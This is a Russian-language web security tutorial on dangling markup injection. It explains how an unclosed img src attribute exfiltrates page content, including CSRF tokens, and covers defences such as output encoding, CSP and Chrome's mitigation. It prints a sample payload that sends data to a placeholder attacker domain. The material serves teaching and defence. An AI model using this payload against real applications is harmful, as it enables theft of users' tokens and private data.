Инъекция «висящей разметки» (dangling markup)

В этом разделе мы объясним, что такое инъекция «висящей разметки» (dangling markup), как работает типичный эксплойт и как предотвращать такие атаки.

Что такое инъекция «висящей разметки» (dangling markup)?

Инъекция «висящей разметки» (dangling markup) — это техника междоменного захвата данных в ситуациях, когда полноценная XSS-атака невозможна.

Предположим, приложение небезопасно встраивает в свои ответы данные, контролируемые атакующим:

<input type="text" name="input" value="CONTROLLABLE DATA HERE

Допустим также, что приложение не фильтрует и не экранирует символы > или ". Атакующий может использовать следующую конструкцию, чтобы вырваться из заключённого в кавычки значения атрибута и из окружающего тега, вернувшись в HTML-контекст:

">

В такой ситуации атакующий, естественно, попытается выполнить XSS. Но предположим, что обычная XSS-атака невозможна из-за фильтров ввода, CSP или других препятствий. Тогда всё ещё может быть возможно провести атаку «висящей разметкой» с использованием такой полезной нагрузки:

"><img src='//attacker-website.com?

Данная полезная нагрузка создаёт тег img и задаёт начало атрибута src, содержащего URL на сервере атакующего. Обратите внимание, что полезная нагрузка не закрывает атрибут src, который остаётся «висящим». Когда браузер парсит ответ, он будет смотреть вперёд, пока не встретит одинарную кавычку, чтобы завершить атрибут. Всё до этого символа будет считаться частью URL и будет отправлено на сервер атакующего в составе строки запроса URL. Любые символы, включая переводы строк, будут закодированы в формате URL. Следствие атаки в том, что атакующий может захватить часть ответа приложения, следующую за точкой инъекции, и эта часть может содержать конфиденциальные данные. В зависимости от функциональности приложения, это могут быть CSRF‑токены, email‑сообщения или финансовые данные.

Любой атрибут, создающий внешний запрос, может быть использован для атаки «висящей разметкой».

Следующая лабораторная задача сложна, поскольку все внешние запросы заблокированы. Решение этой лабораторной может потребовать взаимодействия с пользователем.

Как предотвращать атаки «висящей разметкой»

Вы можете предотвращать атаки «висящей разметкой» с помощью тех же общих мер, что и для предотвращения XSS: кодируйте данные при выводе и валидируйте ввод при получении.

Также вы можете смягчить некоторые атаки «висящей разметкой» с помощью Content Security Policy (CSP). Например, можно предотвратить некоторые (но не все) атаки, применив политику, которая запрещает таким тегам, как img, загружать внешние ресурсы.

Note

Браузер Chrome решил бороться с атаками «висящей разметкой», запрещая таким тегам, как img, задавать URL, содержащие «сырые» символы вроде угловых скобок и переводов строк. Это предотвращает атаки, поскольку данные, которые иначе были бы захвачены, обычно содержат такие некодированные символы, и поэтому атака блокируется.

Last updated